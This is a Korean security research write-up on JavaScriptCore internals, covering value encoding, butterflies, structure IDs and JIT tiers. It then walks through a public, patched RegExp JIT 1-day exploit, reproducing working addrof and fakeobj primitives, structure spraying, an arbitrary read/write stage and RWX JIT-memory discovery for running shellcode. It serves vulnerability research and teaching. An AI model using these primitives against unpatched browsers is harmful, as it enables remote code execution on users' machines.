JSC 1day

Pwnable
Research
CVE

라온화이트햇 핵심연구팀 조진호

architecture

javascript engine의 기본적인 구조는 Javascript Source code → interpreter → byte code → JIT → optimized code

/assets/f9b00dd7-24ff-4533-b0a1-1d79517b72e2/2eba0d64-b834-4cc8-be74-61e53c04cf91.png

LLInt: interpreter

OSR: On Stack Repalcement

JSC는 위 그림에서 오른쪽에 FTL JIT을 추가한 것과 같다.

/assets/4493a669-1bfa-408f-9c79-c7fead03334c/8e1ee833-bbd8-4c69-8083-3bd689c59258.png

각 단계별 벤치, 그래프가 길수록 높은 높은 퍼포먼스를 의미한다.

build

임 ~/Workspace/WebKit.git Tools/Scripts/build-webkit --jsc-only --debug                                                                                                                

임 ~/Workspace/WebKit.git/WebKitBuild/Debug/bin ./jsc
>>> a=10
10
>>> describe(a)
Int32: 10
>>> a = {}
[object Object]
>>> describe(a)
Object: 0x7f7c192b0080 with butterfly (nil) (Structure 0x7f7c192f20d0:[Object, {}, NonArray, Proto:0x7f7c192b4000]), StructureID: 76
>>> a = []

>>> describe(a)
Object: 0x7f7c192b4340 with butterfly 0x7f70000e4008 (Structure 0x7f7c192f2990:[Array, {}, ArrayWithUndecided, Proto:0x7f7c192c80a0, Leaf]), StructureID: 96

JSObject

>>> describe([1,2,3,4])
Object: 0x7f7c192b4360 with butterfly 0x7f70000e0040 (Structure 0x7f7c192f2c30:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7f7c192c80a0, Leaf]), StructureID: 102
>>> describe([1,2,3,4.1])      
Object: 0x7f7c192b4370 with butterfly 0x7f70000e0070 (Structure 0x7f7c192f2ca0:[Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7f7c192c80a0, Leaf]), StructureID: 103
>>> describe([1,2,3,4.1,"AAAA"])
Object: 0x7f7c192b4390 with butterfly 0x7f70000dc010 (Structure 0x7f7c192f2d10:[Array, {}, CopyOnWriteArrayWithContiguous, Proto:0x7f7c192c80a0, Leaf]), StructureID: 104
>>> describe([1,2,3,4.1,"AAAA",[1,2,3]])
Object: 0x7fffb05b4360 with butterfly 0x7fe0000f8488 (Structure 0x7fffb05f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb05c80a0]), StructureID: 105

CopyOnWriteArrayWithInt32, CopyOnWriteArrayWithDouble, CopyOnWriteArrayWithContiguous, ArrayWithContiguous

들어가는 데이터에 따라 다른 타입

>>> a = [1,2,3,4,5]
1,2,3,4,5
>>> describe(a)
Object: 0x7fffb05b4380 with butterfly 0x7fe0000e4038 (Structure 0x7fffb05f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffb05c80a0]), StructureID: 97

Object

ef➤  tel 0x7fffb05b4380 
0x00007fffb05b4380│+0x0000: 0x0108210500000061 ("a"?)
0x00007fffb05b4388│+0x0008: 0x00007fe0000e4038  →  0xffff000000000001  // butterfly
0x00007fffb05b4390│+0x0010: 0x00000000badbeef0
0x00007fffb05b4398│+0x0018: 0x00000000badbeef0
...

0x0108210500000061 0x61 = structure id, 0x01082105 = flag

butterfly 0x7fe0000e4038

gef➤  tel 0x7fe0000e4038
0x00007fe0000e4038│+0x0000: 0xffff000000000001
0x00007fe0000e4040│+0x0008: 0xffff000000000002
0x00007fe0000e4048│+0x0010: 0xffff000000000003
0x00007fe0000e4050│+0x0018: 0xffff000000000004
0x00007fe0000e4058│+0x0020: 0xffff000000000005
0x00007fe0000e4060│+0x0028: 0x00000000badbeef0
...

앞의 ffff는 형식 지정이다.

* The top 16-bits denote the type of the encoded JSValue:
    *
    *     Pointer {  0000:PPPP:PPPP:PPPP
    *              / 0001:****:****:****
    *     Double  {         ...
    *              \ FFFE:****:****:****
    *     Integer {  FFFF:0000:IIII:IIII

포인터

a = [{},{}]
[object Object],[object Object]
>>> describe(a)
Object: 0x7fffb05b4390 with butterfly 0x7fe0000e4068 (Structure 0x7fffb05f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb05c80a0]), StructureID: 99

gef➤  tel 0x7fe0000e4068   // butterfly
0x00007fe0000e4068│+0x0000: 0x00007fffb05b0080  →  0x010016000000004c ("L"?)  // pointer
0x00007fe0000e4070│+0x0008: 0x00007fffb05b00c0  →  0x010016000000004c ("L"?)  // pointer
0x00007fe0000e4078│+0x0010: 0x0000000000000000
0x00007fe0000e4080│+0x0018: 0x0000000000000000
0x00007fe0000e4088│+0x0020: 0x0000000000000000
0x00007fe0000e4090│+0x0028: 0x00000000badbeef0

또한 JSC는 엘리먼트랑 프로퍼티를 다음 그림과 같이 같은 영역에 보관한다.

--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
                            ^
                            |
            +---------------+
            |
  +-------------+
  | Some Object |
  +-------------+

테스트

>>> a = []

>>> a.push(1)
1
>>> a.push(2)
2
>>> a.a = 10
10
>>> a.b = 20
20
>>> describe(a)
Object: 0x7fffb05b43b0 with butterfly 0x7fe0000dc028 (Structure 0x7fffb05704d0:[Array, {a:100, b:101}, ArrayWithInt32, Proto:0x7fffb05c80a0, Leaf]), StructureID: 298

Array를 만들고 엘리먼트를 추가, 그리고 Array의 프로퍼티를 추가. butterfly는 아래와 같다.

gef➤  tel 0x7fe0000dc028-0x20
0x00007fe0000dc008│+0x0000: 0x0000000000000000
0x00007fe0000dc010│+0x0008: 0xffff000000000014
0x00007fe0000dc018│+0x0010: 0xffff00000000000a
0x00007fe0000dc020│+0x0018: 0x0000000500000002  // butterfly
0x00007fe0000dc028│+0x0020: 0xffff000000000001
0x00007fe0000dc030│+0x0028: 0xffff000000000002
0x00007fe0000dc038│+0x0030: 0x0000000000000000
0x00007fe0000dc040│+0x0038: 0x0000000000000000
0x00007fe0000dc048│+0x0040: 0x0000000000000000
0x00007fe0000dc050│+0x0048: 0x00000000badbeef0

10(0xa)과 20(0x14)가 추가되어있다. 또한 위의 a배열에 프로퍼티를 추가할 때 마다 StructrueID가 바뀌는 것을 볼 수 있다.

a = []
a.push(1)
a.push(2)
debug(describe(a))
a.a = 10
debug(describe(a))
a.b = 10
debug(describe(a))

--------------------------------------------------------

--> Object: 0x7f5980d9f468 with butterfly 0x7f406cbe4038 ... StructureID: 17316
--> Object: 0x7f5980d9f468 with butterfly 0x7f406cbe0028 ... StructureID: 35926
--> Object: 0x7f5980d9f468 with butterfly 0x7f406cbe0028 ... StructureID: 36249

이건 히든 클래스 때문이고 JSC Object의 전체적인 다이어그램은 아래와 같다.

            +------------------------------------------+
            |                Butterfly                 |
            |       | b | a | length: 2 | 1 | 2 |      |
            +------------------------------------------+
                                          ^
                                +---------+
               +----------+     |
               |          |     |
            +--+  JSCell  |     |      +-----------------+
            |  |          |     |      |                 |
            |  +----------+     |      |  MethodTable    |
            |       /\          |      |                 |
 References |       || inherits |      |  Put            |
   by ID in |  +----++----+     |      |  Get            |
  structure |  |          +-----+      |  Delete         |
      table |  | JSObject |            |  VisitChildren  |
            |  |          |<-----      |  ...            |
            |  +----------+     |      |                 |
            |       /\          |      +-----------------+
            |       || inherits |                  ^
            |  +----++----+     |                  |
            |  |          |     | associated       |
            |  | JSArray  |     | prototype        |
            |  |          |     | object           |
            |  +----------+     |                  |
            |                   |                  |
            v                   |          +-------+--------+
        +-------------------+   |          |   ClassInfo    |
        |    Structure      +---+      +-->|                |
        |                   |          |   |  Name: "Array" |
        | property: slot    |          |   |                |
        |     a   : 0       +----------+   +----------------+
        |     b   : 1       |
        |                   |
        |                   |
        +-------------------+

실제 위의 JSObject를 lldb로 출력한 결과

(lldb) p *(JSC::JSObject *)0x7ffff019f468
(JSC::JSObject) $0 = {
  JSC::JSCell = {
    m_structureID = 31000
    m_indexingTypeAndMisc = '\x05'
    m_type = ArrayType
    m_flags = '\b'
    m_cellState = DefinitelyWhite
  }
  m_butterfly = (m_value = 0x00007ff8359e0028)
}

JIT

JSC는 4단계를 가지고 있다.

  1. LLint
  2. Baseline JIT
  3. DFG JIT
  4. FTL JIT

LLInt는 일반적인 C++인터프리터고 기본 JIT이 Baseline JIT,

옵션들로 JSC가 어떤 최적화를 진행하는지 알 수 있다.

JSC Compile Report Options

반복분 1000번 진행시 Baseline JIT

fac = n => {
	i = s = 0
	while (i < n) {
		s += i
		i += 1
	}
	return s
}

a = []
for (i = 0; i < 1000; i++)
	a.push(fac(i))

Optimized fac#DaoLIQ:[0x7fef14450000->0x7fef144fce70, LLIntFunctionCall, 167] with Baseline JIT into 4512 bytes in 1.345873 ms.
Optimized <global>#Axiom2:[0x7fef1445c000->0x7fef14464000, LLIntGlobal, 203] with Baseline JIT into 5600 bytes in 1.216012 ms.
[Finished in 0.3s]

10000번 반복시

**a = []
for (i = 0; i < 10000; i++)
	a.push(fac(i))**

Optimized fac#DaoLIQ:[0x7f4659e50000->0x7f4659efce70, LLIntFunctionCall, 167] with Baseline JIT into 4512 bytes in 1.285669 ms.
Optimized <global>#B4X0zh:[0x7f4659e5c000->0x7f4659e64000, LLIntGlobal, 203] with Baseline JIT into 5600 bytes in 0.776776 ms.
Optimized fac#DaoLIQ:[0x7f4659e50230->0x7f4659e50000->0x7f4659efce70, NoneFunctionCall, 167] using DFGMode with DFG into 2240 bytes in 11.593936 ms.
Optimized <global>#B4X0zh:[0x7f4659e5c230->0x7f4659e5c000->0x7f4659e64000, NoneGlobal, 203] using DFGMode with DFG into 2336 bytes in 9.664092 ms.
Optimized fac#DaoLIQ:[0x7f4659e50460->0x7f4659e50000->0x7f4659efce70, NoneFunctionCall, 167 (DidTryToEnterInLoop)] using FTLMode with FTL into 672 bytes in 24.677882 ms (DFG: 16.702574, B3: 7.975308).
[Finished in 0.3s]

많은 작업 수행시 DFG JIT, FTL JIT을 사용해 최적화한다.

아래 1day에서는 JIT취약점을 이용해 트리거 하였다.

LinusHenze/WebKit-RegEx-Exploit

addrof

// addrof primitive
function addrof(val) {
    var array = [13.37];
    var reg = /abc/y;
        
    // Target function
    var AddrGetter = function(array) {
        //reg[Symbol.match]();
        "abc".match(reg);
        return array[0];
    }
    
    // Force optimization
    for (var i = 0; i < 10000; ++i)
        AddrGetter(array);
    
    // Setup haxx
    regexLastIndex = {};
    regexLastIndex.toString = function() {
        array[0] = val;
        return "0";
    };
    reg.lastIndex = regexLastIndex;
    
    // Do it!
    return AddrGetter(array);
}

var reg = /abc/y; 에서 ysticky를 의미한다. sticky모드에서는 lastIndex를 지정할 수 있는데 지정된 인덱스부터 비교하는 기능이다.

    // Force optimization
    for (var i = 0; i < 10000; ++i)
        AddrGetter(array);

위 코드는 JIT최적화 기법중 간단한 코드는 인라이닝 하는 기법이 있는데 그것을 우회하기 위해 충분히 복잡하게 만들기 위해 사용한 코드이다.

    // Setup haxx
    regexLastIndex = {};
    regexLastIndex.toString = function() {
        array[0] = val;
        return "0";
    };
    reg.lastIndex = regexLastIndex;

sticky모드에서 사용할 lastIndex를 설정하는 코드이다. lastIndex에서부터 regex 비교를 한다. 따라서 원래는 number타입이 들어가야 한다.하지만 오브젝트를 넣고, toString을 덮어써 리턴값을 문자열로 된 0으로 주면 실제 regex는 0을 받아 그 객체의 toString함수를 호출해 정상적으로 0번째 인덱스부터 찾으면서 array의 0번째 인덱스에 있는 13.37 값을 원하는 주소로 덮어쓴다. 마지막에 호출하는 AddrGetter는 regex연산 후 array를 돌려준다.

		// Target function
    var AddrGetter = function(array) {
        // reg[Symbol.match]();
        "abc".match(reg);
        return array[0];
    }

원래는 흐름대로라면 array[0] = val코드에서 array의 타입이 ArrayWithDouble에서 ArrayWithContiguous로 바뀌어야 하지만 JIT버그로 인해 그대로 ArrayWithDouble타입의 엘리먼트에서 0번째 인덱스 (사용자가 설정한 주소)를 리턴한다.

return typeof regexp.lastIndex !== "number";

해당 취약점을 패치하기 위해 타입체크가 /builtins/RegExpPrototype.js에 추가되었다.

fakeobj

fakeobjaddrof를 반대로 만들어 작성할 수 있다.

// addrof primitive
function fakeobj(val) {
    var array = [13.37];
    var reg = /abc/y;

    // Target function
    var AddrSetter = function(array) {
        // reg[Symbol.match]();
        "abc".match(reg);
        array[0] = val
    }

    // Force optimization
    for (var i = 0; i < 10000; ++i)
        AddrSetter(array);

    // Setup haxx
    regexLastIndex = Proxy;
    regexLastIndex.toString = function() {
        array[0] = [];
        return "0";
    };
    reg.lastIndex = regexLastIndex;

    // Do it!
    AddrSetter(array);
		return array[0]
}


a = [1, 2, 3]
va = addrof(a)
fa = fakeobj(va)
print(describe(va))
print(describe(fa))
a[0] = 10
a[1] = 20
a[2] = 30
print(fa)

    regexLastIndex = Proxy;
    regexLastIndex.toString = function() {
        array[0] = [];
        return "0";
    };
    reg.lastIndex = regexLastIndex;

현재 double타입으로 된 array의 첫번째 인자로 double형 데이터가 아닌 array 넣어주었다. 이제 array는 ArrayWithContiguous타입으로 바뀐다.

		// Target function
    var AddrSetter = function(array) {
        // reg[Symbol.match]();
        "abc".match(reg);
        array[0] = val
        return array
    }

위 코드는 JIT 취약점이 트리거 되는 코드인데 array[0]의 값을 원하는 데이터로 덮어쓰고 있다. 이를 이용해 원하는 주소르 가진 오브젝트를 만들 수 있다. 아래부터 원하는 StructureID를 가진 가짜 오브젝트를 만드는 예제이다.

>>> a = {}
[object Object]
>>> a.a = 1
1
>>> a.b = 2
2
>>> a.c = 3
3
>>> describe(a)
Object: 0x7fffb05b0100 with butterfly (nil) (Structure 0x7fffb05703f0:[Object, {a:0, b:1, c:2}, NonArray, Proto:0x7fffb05b4000, Leaf]), StructureID: 296

gef➤  tel 0x7fffb05b0100
0x00007fffb05b0100│+0x0000: 0x0100160000000128  // JSC::JSCell | StructureID(128)
0x00007fffb05b0108│+0x0008: 0x0000000000000000  // butterfly
0x00007fffb05b0110│+0x0010: 0xffff000000000001  // a
0x00007fffb05b0118│+0x0018: 0xffff000000000002  // b
0x00007fffb05b0120│+0x0020: 0xffff000000000003  // c
0x00007fffb05b0128│+0x0028: 0x0000000000000000

여기서 a오브젝트는 128이라는 StructureID를 가진 오브젝트이다. 만약 저 StructureID가 128과 같다면 마지 a오브젝트처럼 프로퍼티에 접근이 가능하다. 이를 이용해 내부 프로퍼티를 조작 할 오브젝트를 만든다. JSC::JSCell 헤더는 double형식으로 똑같이 맞춰주면 된다.

a = {}
a.a = 1
a.b = 2
a.c = 3
print(describe(a))

for (i = 0; i < 0x1000; i++){
	_ = {}
	_.a = 1
	_['a'+i] = 2
}

print(describe(_))

test code

gef➤  tel 0x7fffaf715480  // _ object
0x00007fffaf715480│+0x0000: 0x0100160000001128
0x00007fffaf715488│+0x0008: 0x0000000000000000
0x00007fffaf715490│+0x0010: 0xffff000000000001
0x00007fffaf715498│+0x0018: 0xffff000000000002

가장 마지막 _ object

>>> struct.unpack("d", struct.pack('Q', 0x0100160000001128-(1<<48)))
(7.082855106403679e-304,)

JSC::JSCell 헤더 (1<<48)을 빼주는 이유는 순수 double로 이루어진 ArrayWithDouble이 아니면 boxed형식으로 저장되는데 boxed형식으로 double데이터를 저장할 때 (1«48)을 더해서 double형식임을 알린다.

>>> a.a = 7.082855106403679e-304

gef➤  tel 0x7fffb05b0080
0x00007fffb05b0080│+0x0000: 0x0100160000000128
0x00007fffb05b0088│+0x0008: 0x0000000000000000
0x00007fffb05b0090│+0x0010: 0x0100160000001128  // JSC::JSCell
0x00007fffb05b0098│+0x0018: 0xffff000000000002
0x00007fffb05b00a0│+0x0020: 0xffff000000000003

fake object중 JSC::JSCell 완성. 다음 butterfly인 0x00007fffb05b0088│+0x0008: 0x0000000000000000 를 만들어야 하는데 쓸수가 없다. 왜냐하면

* The top 16-bits denote the type of the encoded JSValue:
    *
    *     Pointer {  0000:PPPP:PPPP:PPPP
    *              / 0001:****:****:****
    *     Double  {         ...
    *              \ FFFE:****:****:****
    *     Integer {  FFFF:0000:IIII:IIII

0으로 가득 채우면서 쓸 형식이 없다. null은 데이터를 넣는 게 아닌 delete로 해당 프로퍼티를 삭제하면 비워지게 된다.

>>> delete a.b
true
>>> describe(a)
Object: 0x7fffb05b0080 with butterfly (nil) (Structure 0x7fffaf71aca0:[Object, {a:0, c:2}, NonArray, Proto:0x7fffb05b4000, UncacheableDictionary, Leaf]), StructureID: 4393

gef➤  tel 0x7fffb05b0080
0x00007fffb05b0080│+0x0000: 0x0100160000001129  // a->JSC::JSCell
0x00007fffb05b0088│+0x0008: 0x0000000000000000  // butterfly
0x00007fffb05b0090│+0x0010: 0x0100160000001128  // a.a (fake JSC::JSCell)
0x00007fffb05b0098│+0x0018: 0x0000000000000000  // a.b (fake butterfly)
0x00007fffb05b00a0│+0x0020: 0xffff000000000003  // a.c

이제 addrofa의 주소를 얻고, a+0x10의 주소를 fakeobj로 받으면 성공적으로 오브젝트를 가져올 수 있다.

>>> struct.unpack("d", struct.pack('Q', 0x00007fffb05b0080+0x10))
(6.95328979012334e-310,)

>>> b = fakeobj(6.95328979012334e-310)
>>> b.a
3
>>> a.c = 4141
4141
>>> b.a
4141

# memory
gef➤  tel 0x7fffb05b0080
0x00007fffb05b0080│+0x0000: 0x0100160000001129  // a object
0x00007fffb05b0088│+0x0008: 0x0000000000000000  // a butterfly |
0x00007fffb05b0090│+0x0010: 0x0100160000001128  //     a.a     | b object
0x00007fffb05b0098│+0x0018: 0x0000000000000000  //     a.b     | b butterfly
0x00007fffb05b00a0│+0x0020: 0xffff00000000102d  //     a.c     |     b.a

이제 object overlapping을 확인할 수 있다.

1-day exploit code

var structure_spray = []
for (var i = 0; i < 1000; ++i) {
    var ary = [13.37];
    ary.prop = 13.37;
    ary['p'+i] = 13.37;
    structure_spray.push(ary);
}

위에서 했던 spray코드이다.

[13.37] [13.37] [length] [13.37]
               |
        butterfly pointer

결과적으로 각 arybutterfly에는 이렇게 들어가게 된다. 이렇게 들어간 JSObjectstructure_spraybutterfly에 배열로 넣게 된다.

gef➤  tel 0x00007fe0001fa070-0x10
0x00007fe0001fa060│+0x0000: 0x00007fe0001fa001  →  0x7000007fffb0d016
0x00007fe0001fa068│+0x0008: 0x000003ec000003e8  // flag, length
0x00007fe0001fa070│+0x0010: 0x00007fffb05b4380  →  0x010821070000013c  // idx: 0
0x00007fe0001fa078│+0x0018: 0x00007fffb05b4390  →  0x010821070000013d  // idx: 1
0x00007fe0001fa080│+0x0020: 0x00007fffb05b43a0  →  0x010821070000013e  // idx: 2
...

structure_spray배열 상황

		buf = new ArrayBuffer(8);
		u32 = new Uint32Array(buf);
		f64 = new Float64Array(buf);

		// to victim
    u32[0] = 0x200;
    u32[1] = 0x01082007 - 0x10000;
    var flags_double = f64[0];

    u32[1] = 0x01082009 - 0x10000;
    var flags_contiguous = f64[0];

flag를 만드는 부분.

var outer = {
    header: flags_contiguous, // cell
    butterfly: victim, // butterfly
};

var hax = stage1.fakeobj(stage1.addrof(outer) + 0x10);

outer를 이용해 위에서 object overlapping한 것과 똑같다.

	  var unboxed = eval(`[${'13.37,'.repeat(unboxed_size)}]`);
    unboxed[0] = 4.2; // no CopyOnWrite

    var boxed = [{}];

		hax[1] = unboxed;
    var shared_butterfly = f2i(victim[1]);
    //print(`shared butterfly @ ${hex(shared_butterfly)}`);
    hax[1] = boxed;
    victim[1] = i2f(shared_butterfly);

    outer.header = flags_double;

overlapping한 오브젝트를 조작해 unboxedboxed butterfly를 만들고, 같은 메모리를 가리키게 한 뒤 double형식으로 바꿔 read write를 편하게 할 수 있게끔 만들었다.

addrof: function(victim) {
    boxed[0] = victim;
    return f2i(unboxed[0]);
},

fakeobj: function(addr) {
    unboxed[0] = i2f(addr);
    return boxed[0];
},

그것을 이용한 stage2read, write

function getJITFunction(rwx, silent) {
    if (silent == undefined) {
        silent = false;
    }
    
    var printFunc = print;
    if (silent) {
        printFunc = function (str) {};
    }
    
    var shellcodeFunc = makeJITCompiledFunction();
    
    var shellcodeFuncAddr = addrof(shellcodeFunc);
    printFunc("[+] Shellcode function @ " + shellcodeFuncAddr);
    
    var executableAddr = memory.read_i64(shellcodeFuncAddr, 3);
    printFunc("[+] Executable instance @ " + executableAddr);
    
    var jitCodeAddr = memory.read_i64(executableAddr, 3);
    printFunc("[+] JITCode instance @ " + jitCodeAddr);
    
    var rwxMemAddr = memory.read_i64(jitCodeAddr, 4);
    rwxMemAddr = stripPACifRequired(rwxMemAddr);
    printFunc("[+] " + (rwx === true ? "RWX" : "RX") + " memory @ " + rwxMemAddr);
    
    return [shellcodeFunc, rwxMemAddr];
}

read, write를 얻었다면 wasm을 이용해 rwx영역을 만들고 쉘코드 영역에 적고 실행하면 된다.

reference

http://phrack.org/papers/attacking_javascript_engines.html

https://webkit.org/blog/3362/

https://www.youtube.com/watch?v=5tEdSoZ3mmE&list=PLhixgUqwRTjwufDsT1ntgOY9yjZgg5H_t&index=1

https://github.com/LinusHenze/WebKit-RegEx-Exploit